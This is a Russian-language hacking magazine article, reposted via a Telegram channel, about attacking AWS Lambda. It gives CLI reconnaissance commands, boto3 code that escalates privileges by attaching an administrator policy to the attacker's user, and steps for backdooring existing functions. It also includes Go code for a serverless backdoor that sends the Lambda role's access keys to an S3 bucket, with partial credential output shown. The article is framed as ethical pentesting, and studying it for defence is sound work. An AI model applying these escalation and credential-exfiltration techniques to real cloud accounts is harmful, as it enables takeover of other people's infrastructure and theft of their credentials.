Хакер - Блямбда. Эксплуатируем AWS Lambda
hacker_frei
MichelleVermishelle
Содержание статьи
- Теория
- AWS Lambda
- Лямбда-функция
- API Gateway
- Первоначальный доступ
- Разведка
- Lambda Function
- API Gateway
- Повышение привилегий
- Создание и вызов функции с привязкой роли
- Изменение кода функции
- Закрепление
- Изменение лямбды
- Бессерверный бэкдор с интеграцией в S3
- Выводы
В экосистеме AWS имеется интереснейший механизм Lambda — это служба бессерверных вычислений, которая запускает код в ответ на определенное событие. Причем она умеет автоматически выделять для этого необходимые ресурсы. Сегодня мы поговорим о том, как использовать ее, чтобы проникнуть в облако AWS и повысить привилегии.
INFO
О том, как можно эксплуатировать другие уязвимости AWS, читай в статье «Проверка ведер. Как искать уязвимости в бакетах AWS S3».
ТЕОРИЯ
WS Lambda
Как работает AWS Lambda? Если простыми словами: ты добавляешь свой скрипт и задаешь триггер или событие, при наступлении которого будет запускаться этот код. Больше делать ничего не нужно, потому что обо всем другом — администрировании, мониторинге работы, безопасности, журналах, логах — позаботится сервис AWS Lambda. Когда событий нет, лямбда не выполняется, соответственно, ресурсы не потребляются.

Лямбда-функция
Лямбда‑функция — это часть кода, которая выполняется каждый раз, когда срабатывает триггер.

Существует три типа триггеров, отличаются они способом вызова:
- потоковый — срабатывает при изменениях в чем‑либо, например при добавлении данных в БД;
- синхронный — срабатывает при получении запроса на какой‑то конечной точке, которая вызывает лямбда‑функцию;
- асинхронный — происходит в случае какого‑либо события, например при загрузке файла на S3.
При этом вызов возможно выполнить и с помощью API Gateway.
API Gateway
Служба API Gateway упрощает разработчикам работу с API. Поддерживается REST, HTTP и WebSocket API.

Мы можем привязать API Gateway к какому‑то сервису, мобильному приложению, даже к IOT, — главное, чтобы у них был доступ в интернет. После этого оно будет стучать на API-шлюз, с которого и станут вызываться требуемые действия.

ПЕРВОНАЧАЛЬНЫЙ ДОСТУП
Чаще всего через лямбду в облако не попадают. Но в случае обнаружения функции, гейтвея, создания полной ссылки и требуемого набора параметров можно все‑таки попробовать. Например, если лямбда‑функция принимает какую‑либо команду для запуска в cmd:
https://i8jee1mn2f.execute-api.us-east-2.amazonaws.com/prod/system?cmd=env

РАЗВЕДКА
Lambda Function
На первом этапе нужно хорошенько разведать обстановку и поискать уязвимые места. На помощь нам придет AWS CLI. Чтобы увидеть все лямбда‑функции, воспользуемся следующей командой:
aws lambda list-functions
Получить лямбда‑функции в отдельном регионе:
aws lambda list-functions --region us-east-1


FunctionArn— уникальный идентификатор функции;Runtime— язык, на котором написана функция;Role— роль, которую имеет лямбда‑функция. Возможно, определенная лямбда‑функция имеет доступ к другим службам. Соответственно, мы также можем определить политики, привязанные к лямбда‑функции;Layers— зависимости лямбда‑функции.
Получить информацию о конкретной лямбда‑функции (в том числе исходный код) можно следующим образом:
aws lambda get-function --function-name <function-name> [--region eu-west-1 --profile demo]
Пример:
aws lambda get-function --function-name PentestingForFun

В приведенном выше примере мы видим раздел Code, а в нем — Location. То есть код извлекается по этому пути, в данном случае это S3-бакет awslambda-us-west2-tasks. Перейдя по указанной ссылке (либо порывшись в указанном бакете), мы сможем скачать код лямбда‑функции.
При этом в выводе данной команды есть огромная структура Configuration, которую тоже стоит обязательно посмотреть. Во время пентестов мы часто обнаруживали здесь учетные данные.

Исходный код зависимости можно получить вот так:
aws lambda get-layer-version --layer-name <LayerName> --version-number <VersionNumber>
Пример:
aws lambda get-layer-version --layer-name request-library --version-number 1
Теперь обрати внимание на способы вызова функции.
aws lambda get-policy --function-name <function-name>
Пример:
aws lambda get-policy --function-name PentestingForFun

Service— то, кому разрешено дергать функцию;Action— что может сделатьService;Resource— какие объекты могут быть вызваны.
В лямбда‑функциях иногда встречается раздел Condition. Он отвечает за «фильтрацию» — каким методом и каким образом вызывается лямбда. Именно в нем всегда будет прятаться айдишник, по которому ты сможешь определить, к какому гейтвею привязана лямбда‑функция.

В данном случае uj3lq1cu8e — REST API ID. При этом триггер может сработать и от изменений в чем‑либо. Для получения информации о подобных событиях существует вот такой командлет:
aws lambda list-event-source-mappings --function-name <function-name>
Пример:
aws lambda list-event-source-mappings --function-name PentestingForFun

В этом случае используется Amazon Simple Queue Service (SQS) — служба очереди сообщений.
API Gateway
После изучения доступных лямбда‑функций пора восстанавливать URL, который приведет к ее вызову. Чтобы увидеть все REST APIs (получить айдишник, так как Region зачастую схож с большинством регионов, в котором стоят ЕС2-инстансы), воспользуемся следующей командой:
aws apigateway get-rest-apis

Информацию о конкретном API поможет достать эта команда:
aws apigateway get-rest-api --rest-api-id <ApiId>
Чтобы найти все конечные точки (которые также называют объектами), воспользуемся такой директивой:
aws apigateway get-resources --rest-api-id <ApiId>

В нашем примере поддерживается метод запроса GET к ресурсу 18ds4f9r2rb, поэтому на следующем шаге изучаем его глубже:
aws apigateway get-method --rest-api-id <ApiID> --resource-id <ResourceID> --http-method <Method>
Пример:
aws apigateway get-method --rest-api-id 18ds4f9r2rb --resource-id 7xhd4f9l3mz --http-method GET

Вот самые интересные параметры:
authorizationType— тип авторизации;apiKeyRequired— чтобы вызвать метод, требуется ключ (допустим, в нашем случае для использования методаGETна конечной точке нам достаточно просто отправить запрос);methodIntegration— то, что происходит на заднем плане;type— с чем это интегрировано;uri— в нашем случае мы видим, что метод дергает лямбда‑функцию.
Таким образом мы можем идентифицировать API Gateway с конкретной лямбда‑функцией. Если для вызова требуется ключ API, то есть возможность перечислить все API-ключи, присутствующие в текущей УЗ:
aws apigateway get-api-keys --include-values

Наконец, остается лишь перечислить все расположения:
aws apigateway get-stages --rest-api-id <ApiId>
Теперь у нас есть достаточный объем информации, чтобы построить URL-адрес для использования лямбда‑функции. Параметры ты сможешь определить, посмотрев исходный код.
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Создание и вызов функции с привязкой роли
Повышать свои привилегии с помощью лямбды невероятно интересно! Например, существует пользователь с правами на привязку роли (iam:PassRole) и создание лямбда‑функций (lambda:CreateFunction). Вектор таков: написать код, который привяжет к учетной записи атакующего административную политику. Шаги следующие:
- Создаем лямбда‑функцию, связывая ее с какой‑либо ролью. Причем у этой роли должны быть права на вызов
iam:AttachRolePolicyилиiam:AttachUserPolicy. - Вызываем созданную функцию, что приводит к исполнению кода.
- Код привязывает административную политику сначала к лямбда‑роли, а потом к атакующему.
- У нас появляются права администратора.

Если у роли лямбда‑функции имеется привилегия AttachRolePolicy, то сначала привяжем политику администратора к ней, а потом к атакующему.
Для этого можно использовать следующий код:
import boto3
import json
def lambda_handler(event, context):
iam = boto3.client("iam")
iam.attach_role_policy(RoleName="<роль, к которой привязывать лямбда-функцию>", PolicyArn="<политика с административным доступом>",) # Привязка политики к роли
iam.attach_user_policy(UserName="<пользователь, к которому привязывать политику>", PolicyArn="<политика с административным доступом>",) # Привязка политики к пользователю
return {
'statusCode': 200,
'body': json.dumps("AWS Service")
}
Если у роли лямбда‑функции имеется привилегия AttachUserPolicy, то мы можем сразу привязать к атакующему административную политику:
import boto3
import json
def lambda_handler(event, context):
iam = boto3.client("iam")
iam.attach_user_policy(UserName="<пользователь, к которому привязывать политику>", PolicyArn="<политика с административным доступом>",) # Привязка политики к пользователю
return {
'statusCode': 200,
'body': json.dumps("AWS Service")
}
Как обнаружить роли, мы изучили в первой статье. Твоя задача — найти роль, у которой есть требуемые для эксплуатации привилегии (iam:AttachRolePolicy или iam:AttachUserPolicy), а также возможность связать ее с лямбда‑функцией.
Теперь можно создать лямбда‑функцию. Именно она и обеспечивает нам повышение привилегий:
aws lambda create-function --function-name <имя создаваемой лямбда-функции> --runtime <язык, на котором написан код> --zip-file <файл .zip с исходным кодом> --handler <хендлер (это имя лямбда-функции + какую функцию вызывать из питона)> --role <ARN роли, к которой привязана политика с iam:AttachRolePolicy> --region <регион>
Пример:
aws lambda create-function --function-name awsservicelambda --runtime python3.7 --zip-file fileb://awsservicelambda.zip --handler awsservicelambda.lambda_handler --role arn:aws:iam::184194106212:role/Lambda-Permisssion-Mgmt-Role --region us-east-2

Теперь триггерим функцию:
aws lambda invoke --function-name <FunctionName> response.json --region <регион, в котором находится функция>
Пример:
aws lambda invoke --function-name awsservicelambda response.json --region us-east-2
В текущей директории появится файлик response.json. Смотрим его и видим ошибку! Ничего не работает, повысить привилегии с помощью лямбды нельзя.

Шучу. Давай подумаем: что сейчас произошло? Только что код исполнился лишь частично, то есть функция attachrolepolicy успешно отработала, поэтому у роли лямбда‑функции уже есть политика с административным доступом. Ты даже можешь это проверить:
aws iam list-attached-role-policies --role-name <привязываемая роль>

Нам требуется лишь вновь затриггерить функцию, после чего можно посмотреть привязанные к себе политики:
aws iam list-attached-user-policies --user-name <username>

Но иногда у нас нет права lambda:InvokeFunction, то есть вызвать командлет aws lambda invoke мы не сможем. В таком случае потребуется создать асинхронный либо потоковый триггер. Например, свяжем лямбду с таблицей в какой‑нибудь базе данных (скажем, DynamoDB) и внесем в нее изменения, что приведет к вызову функции.
Создаем таблицу с включенной потоковой передачей:
aws dynamodb create-table --table-name <имя таблицы> --attribute-definitions AttributeName=Test,AttributeType=S --key-schema AttributeName=Test,KeyType=HASH --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Связываем функцию и таблицу:
aws lambda create-event-source-mapping --function-name <имя функции> –event-source-arn <ARN DynamoDB-таблицы> --enabled --starting-position LATEST
Запускаем поток:
aws dynamodb put-item --table-name <Имя таблицы> --item Test={S="просто любая строка"}
Изменение кода функции
Благодаря привилегии lambda:UpdateFunctionCode пентестер сможет обновить код существующей лямбда‑функции, заставив ее выполнить вредоносный код, который, допустим, выдаст ему права (если к лямбде привязана достаточно привилегированная роль). Далее следует дождаться вызова функции либо дернуть самостоятельно, если присутствует привилегия lambda:InvokeFunction или lambda:CreateEventSourceMapping. Примеры кода мы рассмотрели раньше. А вот обновить код можно, например, так:
aws lambda update-function-code --function-name <функция, на которую у нас есть права> --zip-file <обновленный код>
# Пример
aws lambda update-function-code --function-name PentestingForFun --zip-file fileb://my/lambda/code/zipped.zip
Обязательно учитывай язык, на котором написана лямбда! Иначе код не запустится.
ЗАКРЕПЛЕНИЕ
Изменение лямбды
Закрепиться в скомпрометированном облаке достаточно просто, понадобится буквально несколько действий.

В разделе «Разведка» мы с тобой убедились, что получить исходный код лямбда‑функции можно с помощью get-function. Твоей задачей будет обнаружить подходящую лямбду и API, с помощью которого можно вызвать функцию. После этого меняй текущий код, добавляя в него бэкдор на твое усмотрение.
Убедившись, что все работает, можно загружать лямбду на сервер:
aws lambda update-function-code --function-name <имя функции, чей исходный код будет обновлен> --zip-file fileb://<исходный код>
# Пример
aws lambda update-function-code --function-name PentestingForFun --zip-file fileb://my-function.zip

Теперь дергаем гейтвей, чтобы лямбда исполнилась:
curl https://uj3lq1cu8e.execute-api.us-east-2.amazonaws.com/default/PentestingForFun
Бессерверный бэкдор с интеграцией в S3
Спарк Флоу, автор книг «How to Hack like a...», предложил создать бэкдор на основе S3-бакета. Его принцип действия заключался бы в краже из переменных окружения ключей доступа роли, привязанной к лямбда‑функции. С полным кодом бэкдора можно ознакомиться на странице GitHub Спарка .
Разберем некоторые моменты, связанные с этим интересным проектом. Каждая программа на Go, предназначенная для работы в среде Lambda, начинается с одной и той же шаблонной функции main, которая регистрирует точку входа Lambda (в данном случае это HandleRequest):
func main() {
lambda.Start(HandleRequest)
}
Дальше идет классический блок кода для сборки HTTP-клиента и создания удаленного URL-адреса S3 для отправки нашего ответа:
const S3BUCKET="<bucket name>
func HandleRequest(ctx context.Context, name MyEvent) (string, error) {
client := &http.Client{}
respURL := fmt.Sprintf("https://%s.s3.amazonaws.com/setup.txt", S3BUCKET)
Затем следует выгрузка учетных данных роли Lambda из переменных среды с отправкой их в бакет:
accessKey := fmt.Sprintf(`
AWS_ACCESS_KEY_ID=%s
AWS_SECRET_ACCESS_KEY=%s
AWS_SESSION_TOKEN=%s"`,
os.Getenv("AWS_ACCESS_KEY_ID"),
os.Getenv("AWS_SECRET_ACCESS_KEY"),
os.Getenv("AWS_SESSION_TOKEN"),
)
uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)
При этом перед использованием бэкдора нужно убедиться в том, что сервис S3 может вызвать лямбду. Предоставить разрешение можно вот так:
aws lambda add-permission --function-name <имя созданной функции> --region eu-west-1 --statement-id s3InvokeLambda12 --action "lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn <ARN бакета>
Затем настроим правило, по которому будет инициировано событие (в этом случае бэкдор сработает при создании объектов в S3, начинающихся с префикса 2):
aws s3api put-bucket-notification-configuration --region eu-west-1 --bucket mxrads-mywebhook --notification-configuration file://<(cat << EOF
{
"LambdaFunctionConfigurations": [{
"Id": "s3InvokeLambda12",
"LambdaFunctionArn": "arn:aws:lambda:eu-west-1:886371554408:function:support-metrics-calc",
"Events": ["s3:ObjectCreated:*"],
"Filter": {
"Key": {
"FilterRules": [{
"Name": "prefix",
"Value": "2"
}]
}
}
}]
}
EOF
)
И, обратившись к гейтвею, получим токен роли, привязанной к лямбде:
curl https://mxrads-report-metrics.s3-eu-west-1.amazonaws.com/lambda
AWS_ACCESS_KEY_ID=ASIA44ZRK6WSTGTH5GLH
AWS_SECRET_ACCESS_KEY=1vMoXxF9Tjf2OMnEMU...
AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPT..
ВЫВОДЫ
Лямбда встречается практически в каждом пентесте AWS. К ней всегда привязывается слишком привилегированная роль, у лямбды всегда будут неприлично большие полномочия. Подобные мисконфиги зачастую приводят к взлому целого облака! Лишь четкое понимание и знание работы этой службы поможет нам, этичным хакерам, предотвратить подобный сценарий и уберечь заказчика от больших проблем.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei